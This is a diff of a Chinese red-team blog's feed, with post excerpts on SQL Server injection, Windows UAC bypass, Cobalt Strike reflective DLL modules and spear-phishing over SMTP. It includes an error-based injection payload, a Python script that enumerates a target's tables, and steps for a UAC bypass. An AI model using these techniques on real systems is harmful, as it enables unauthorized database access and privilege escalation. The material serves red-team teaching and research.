</span></span><span style="display:flex;"><span>} -</span></span></code></prSQL Server注入 - STUFF与XML Pathhttps://payloads.online/archivers/2020-03-02/3/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/3/<h2 id="背景">背景</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>一个菜单可以有多个item,也就是多个元素,元素中可以写动作代码,也可以写函数。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>popup event_say { +</span></span><span style="display:flex;"><span> item(&#34;&amp;Say&#34;, { +</span></span><span style="display:flex;"><span> say(); +</span></span><span style="display:flex;"><span> }); +</span></span><span style="display:flex;"><span> separator(); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>紧接着还有一个重要的菜单函数:<code>menubar(&quot;Event-Say&quot;, &quot;event_say&quot;);</code></p>SQL Server注入 - STUFF与XML Pathhttps://payloads.online/archivers/2020-03-02/3/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/3/<h2 id="背景">背景</h2> <p>某次XX,发现一处SQL Server注入点</p> <h2 id="报错注入">报错注入</h2> <p>SQL Server注入,一般也是先找库、再找表、再查字段、最终查询数据。</p> @@ -1304,7 +2529,55 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr红队分享-如何挖掘Windows Bypass UAC(第一课)https://payloads.online/archivers/2020-03-02/2/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/2/<h2 id="什么是uac">什么是UAC</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> (<span style="color:#66d9ef">SELECT</span> top <span style="color:#ae81ff">1</span> Name <span style="color:#66d9ef">FROM</span> Master..SysDatabases <span style="color:#66d9ef">where</span> name <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">in</span> (<span style="color:#e6db74">&#39;master&#39;</span>))<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">0</span> <span style="color:#75715e">-- +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>其中,NOT IN的集合会不断增加,最终无法查出其他结果,那么这个集合就是所有的数据库名称。</p> +<h2 id="查表">查表</h2> +<p>在这一步,我们就可以自动化实现了:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>table_list <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;&#39;</span>] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_sqlserver_table</span>(table_list, table_num): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> num <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,table_num): +</span></span><span style="display:flex;"><span> <span style="color:#75715e"># print(&#34;&#39;,&#39;&#34;.join(table_list))</span> +</span></span><span style="display:flex;"><span> sql_str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;and (select top 1 name from [xxxx].sys.all_objects where type=&#39;U&#39; AND is_ms_shipped=0 and name not in (&#39;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;))&gt;0&#34;</span><span style="color:#f92672">.</span>format(<span style="color:#e6db74">&#34;&#39;,&#39;&#34;</span><span style="color:#f92672">.</span>join(table_list)) +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://www.xxxxx.cn/x.aspx?cid=1&#39; </span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> AND &#39;aNmV&#39;=&#39;aNmV&#34;</span><span style="color:#f92672">.</span>format(sql_str) +</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url, headers <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;User-Agent&#39;</span>: <span style="color:#e6db74">&#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36&#39;</span>}) +</span></span><span style="display:flex;"><span> res <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>search(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">(.*)</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#39;</span>, r<span style="color:#f92672">.</span>content<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>), re<span style="color:#f92672">.</span>M<span style="color:#f92672">|</span>re<span style="color:#f92672">.</span>I) +</span></span><span style="display:flex;"><span> table_name <span style="color:#f92672">=</span> str(res<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)) +</span></span><span style="display:flex;"><span> table_list<span style="color:#f92672">.</span>append(table_name) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;[</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">] - TableName: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(str(r<span style="color:#f92672">.</span>status_code), table_name)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> get_sqlserver_table(table_list, <span style="color:#ae81ff">16</span>) +</span></span></code></pre></td></tr></table> +</div> +</div><p>当取得第16个的时候,还是没有出现用户表、管理员表等,而且网站抛出了错误,无法继续取,突然没有其他办法了。</p>红队分享-如何挖掘Windows Bypass UAC(第一课)https://payloads.online/archivers/2020-03-02/2/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/2/<h2 id="什么是uac">什么是UAC</h2> <p>用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。</p> <p>先观察一下:</p> <ul> @@ -1344,7 +2617,71 @@ <li>非 Windows 二进制文件的同意提示:(默认设置)当非 Microsoft 应用程序的某个操作需要提升权限时,选择“允许”提升权限。</li> </ul> <h2 id="为什么有的应用程序不需要提示uac">为什么有的应用程序不需要提示UAC?</h2> -<p>因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。</p>通过反射DLL注入来构建后渗透模块(第一课)https://payloads.online/archivers/2020-03-02/1/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/1/<h2 id="aggressor-script">Aggressor Script</h2> +<p>因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。</p> +<p>如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。</p> +<ul> +<li>程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力</li> +<li>权限提升仅对此次进程有效</li> +</ul> +<p>提升权限的操作大致有两个:</p> +<ul> +<li>自动提权请求</li> +<li>手动提权请求</li> +</ul> +<p>手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器</p> +<p>在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。</p> +<h3 id="manifest文件">manifest文件</h3> +<p>这个文件本质上是一个XML文件,用于标识当前应用程序的配置属性。</p> +<p> + <img src="https://images.payloads.online/8d18d466-4f5f-11ec-a514-00d861bf4abb.png" alt="2020-03-01-11-30-21"> + +</p> +<ul> +<li>aslnvoker 默认权限</li> +<li>highestAvailable 最高权限</li> +<li>requireAdministrator 必须是管理员权限</li> +</ul> +<p>我编译选项调整为requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过UAC了。</p> +<p>manifest中其实还有其他属性,如:autoElevate(自动提升)</p> +<p><strong>拥有自动权限提升属性的文件,当默认以管理员权限运行,不需要经过用户的授权。</strong></p> +<h2 id="寻找auto-elevate">寻找auto Elevate</h2> +<p>工具地址:https://github.com/g3rzi/Manifesto</p> +<p> + <img src="https://images.payloads.online/8da15bba-4f5f-11ec-8638-00d861bf4abb.png" alt="2020-03-01-11-30-30"> + +</p> +<p>通过不断遍历autoElevate属性,寻找自动权限提升的程序。</p> +<p> + <img src="https://images.payloads.online/8ded3224-4f5f-11ec-811d-00d861bf4abb.png" alt="2020-03-01-11-30-37"> + +</p> +<p>我使用Powershell启动:C:\Windows\system32\eudcedit.exe</p> +<p> + <img src="https://images.payloads.online/8e2829b0-4f5f-11ec-8f21-00d861bf4abb.png" alt="2020-03-01-11-30-50"> + +</p> +<p>发现没有弹出UAC确认,没有继承Powershell的权限,它的权限是High。</p> +<p>假设,如果C:\Windows\system32\eudcedit.exe存在一个DLL劫持漏洞,那么普通用户就可以用低权限绕过UAC确认,以高权限执行任意代码。</p> +<h2 id="手动bypass-uac">手动Bypass UAC</h2> +<p> + <img src="https://images.payloads.online/8e643284-4f5f-11ec-b3f3-00d861bf4abb.png" alt="2020-03-01-11-31-01"> + +</p> +<p>C:\Windows\system32\odbcad32.exe 该程序用于配置ODBC数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的Powershell。</p> +<p> + <img src="https://images.payloads.online/8eb26f12-4f5f-11ec-ad7f-00d861bf4abb.png" alt="2020-03-01-11-31-10"> + +</p> +<p> + <img src="https://images.payloads.online/8eef7e84-4f5f-11ec-bff5-00d861bf4abb.png" alt="2020-03-01-11-31-20"> + +</p> +<p>使用Powershell启动其他程序,也都是以管理员权限运行:</p> +<p> + <img src="https://images.payloads.online/8f2ae96a-4f5f-11ec-b687-00d861bf4abb.png" alt="2020-03-01-11-31-27"> + +</p> +<p>下一章,将分析几个UAC的绕过例子。</p>通过反射DLL注入来构建后渗透模块(第一课)https://payloads.online/archivers/2020-03-02/1/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/1/<h2 id="aggressor-script">Aggressor Script</h2> <p>Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由<a href="http://sleep.dashnine.org/manual">Sleep</a>语言解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔。</p> <p>对于Python、C/C++爱好者来说,Sleep语言一开始接触的时候感觉很奇怪,会有很多想吐槽的点,但久而久之,就会发现它的便捷之处。</p> <h2 id="反射-dll注入">反射 DLL注入</h2> @@ -1383,7 +2720,42 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 -</span></code></pr红队行动之鱼叉攻击-研究分享https://payloads.online/archivers/2020-02-05/1/Wed, 05 Feb 2020 00:00:00 +0000https://payloads.online/archivers/2020-02-05/1/<h2 id="演讲简介">演讲简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">DllMain</span>( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { +</span></span><span style="display:flex;"><span> BOOL bReturnValue <span style="color:#f92672">=</span> TRUE; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span>( dwReason ) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_QUERY_HMODULE: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>( lpReserved <span style="color:#f92672">!=</span> NULL ) +</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(HMODULE <span style="color:#f92672">*</span>)lpReserved <span style="color:#f92672">=</span> hAppInstance; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_PROCESS_ATTACH: +</span></span><span style="display:flex;"><span> hAppInstance <span style="color:#f92672">=</span> hinstDLL; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* print some output to the operator */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (lpReserved <span style="color:#f92672">!=</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Hello from test.dll. Parameter is &#39;%s&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)lpReserved); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Hello from test.dll. There is no parameter</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* flush STDOUT */</span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fflush</span>(stdout); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* we&#39;re done, so let&#39;s exit */</span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ExitProcess</span>(<span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_PROCESS_DETACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_THREAD_ATTACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> DLL_THREAD_DETACH: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> bReturnValue; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>很明显,这是一个DLL的主函数,在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。</p>红队行动之鱼叉攻击-研究分享https://payloads.online/archivers/2020-02-05/1/Wed, 05 Feb 2020 00:00:00 +0000https://payloads.online/archivers/2020-02-05/1/<h2 id="演讲简介">演讲简介</h2> <p>《红队行动之鱼叉攻击》围绕着SMTP协议展开,为大家介绍SMTP相关的安全协议,同时会讲解鱼叉攻击的整体过程,以及模拟APT报告进行自动化、武器化的设计。在讲解的过程中,核心围绕Domain-Fronting和External C2这两类红队较为关注的技术,穿插一些HTTP协议相关的基础知识和木马的编写构建。</p> <h2 id="演讲目标">演讲目标</h2> <p>为大家分享SMTP协议相关的基础知识,使大家对邮件安全有一定了解,对未来可能遇到的邮件安全相关问题做一个知识储备,同时也更希望能让大家感受火热的技术氛围,热爱红队、热爱研究,不断攻克工作中遇到的难题。</p> @@ -1417,7 +2789,38 @@ <li>SSL SMTP默认端口:465</li> </ul> <h3 id="smtp相关安全协议---spf">SMTP相关安全协议 - SPF</h3> -<p>发件人策略框架(Sender Policy Framework , SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。</p>2019年度总结随想https://payloads.online/archivers/2020-01-25/1/Sat, 25 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-25/1/<h2 id="关于我的自述">关于我的自述</h2> +<p>发件人策略框架(Sender Policy Framework , SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。</p> +<p><a href="https://www.ietf.org/rfc/rfc4408.txt">https://www.ietf.org/rfc/rfc4408.txt</a></p> +<p><code>&quot;v=spf1 mx ip4:61.0.2.0/24 ~all&quot;</code></p> +<p>设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。</p> +<h3 id="smtp相关安全协议---dkim">SMTP相关安全协议 - DKIM</h3> +<p>DKIM是为了防止电子邮件欺诈的一种技术,同样依赖于DNS的TXT记录类型。这个技术需要将发件方公钥写入域名的TXT记录,收件方收到邮件后,通过查询发件方DNS记录找到公钥,来解密邮件内容。</p> +<p><a href="https://tools.ietf.org/html/rfc6376">https://tools.ietf.org/html/rfc6376</a></p> +<h3 id="smtp相关安全协议---dmarc">SMTP相关安全协议 - DMARC</h3> +<p>DMARC(Domain-based Message Authentication, Reporting &amp; Conformance)是txt记录中的一种,是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,其核心思想是邮件的发送方通过特定方式(DNS)公开表明自己会用到的发件服务器(SPF)、并对发出的邮件内容进行签名(DKIM),而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件,接收方则按照发送方指定的策略进行处理,如直接投入垃圾箱或拒收。</p> +<p> + <img src="https://images.payloads.online/844c8d82-4f5f-11ec-9aae-00d861bf4abb.png" alt="2020-02-05-07-06-09"> + +</p> +<p><a href="https://en.wikipedia.org/wiki/DMARC#Alignment">https://en.wikipedia.org/wiki/DMARC#Alignment</a></p> +<h2 id="smtp基础报文结构">SMTP基础报文结构</h2> +<p>这个报文结构需要拿出来重点的阐述一下。</p> +<p>以HTTP协议举例,HTTP协议中有状态码的概念,用于表示当前请求与响应的状态,通过状态码可以定位可能的问题所在,SMTP与HTTP非常相似,都是明文协议。早期SMTP协议的开发初衷是为了解决一个大学中实验室成员进行通信、留言的问题,但随着互联网的发展,SMTP的应用越来越广泛。</p> +<p>在SMTP协议中,也有状态码的概念,与HTTP协议相同,250表示邮件传送成功。整个SMTP报文分为两类:</p> +<ul> +<li>信封</li> +<li>信的内容</li> +</ul> +<p> + <img src="https://images.payloads.online/8484339a-4f5f-11ec-bd02-00d861bf4abb.png" alt="2020-02-05-07-06-19"> + +</p> +<p>注意观察,其中信封中有MAIL FROM,而信的内容中,也有MAIL FROM,这时问题就出现了。</p> +<h2 id="smtp-relay欺骗攻击">SMTP Relay欺骗攻击</h2> +<p> + <img src="https://images.payloads.online/84c18f92-4f5f-11ec-bc69-00d861bf4abb.png" alt="2020-02-05-07-06-29"> + +</p>2019年度总结随想https://payloads.online/archivers/2020-01-25/1/Sat, 25 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-25/1/<h2 id="关于我的自述">关于我的自述</h2> <p>2019年是我成长与变化最大的一年,从前的我从自闭、抑郁、不自信到今天,已经阳光到不行不行了,从上家单位离职时,依稀记得和领导说:“有问题我就去解决问题”,还真是乐观的冲锋派。</p> <hr> <p>如果让我用几个词总结2019,那么我会给出如下答案:青春、感动、视角、沉稳。</p> @@ -1450,7 +2853,62 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></prLinux权限维持之LD_PRELOADhttps://payloads.online/archivers/2020-01-01/1/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/1/<h2 id="ld_preload">LD_PRELOAD</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>VOID <span style="color:#a6e22e">msg</span>(VOID){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(NULL,<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Test&#34;</span>),<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Hello&#34;</span>),MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>这里我采用了Def文件来进行导出:</p> +<p> + <img src="https://images.payloads.online/81d0151a-4f5f-11ec-a1bd-00d861bf4abb.png" alt="2020-01-03-13-05-56"> + +</p> +<p> + <img src="https://images.payloads.online/820ac94e-4f5f-11ec-ba78-00d861bf4abb.png" alt="2020-01-03-13-06-15"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">VOID</span> (<span style="color:#f92672">*</span>msg)(VOID); +</span></span><span style="display:flex;"><span> +</span></span><span 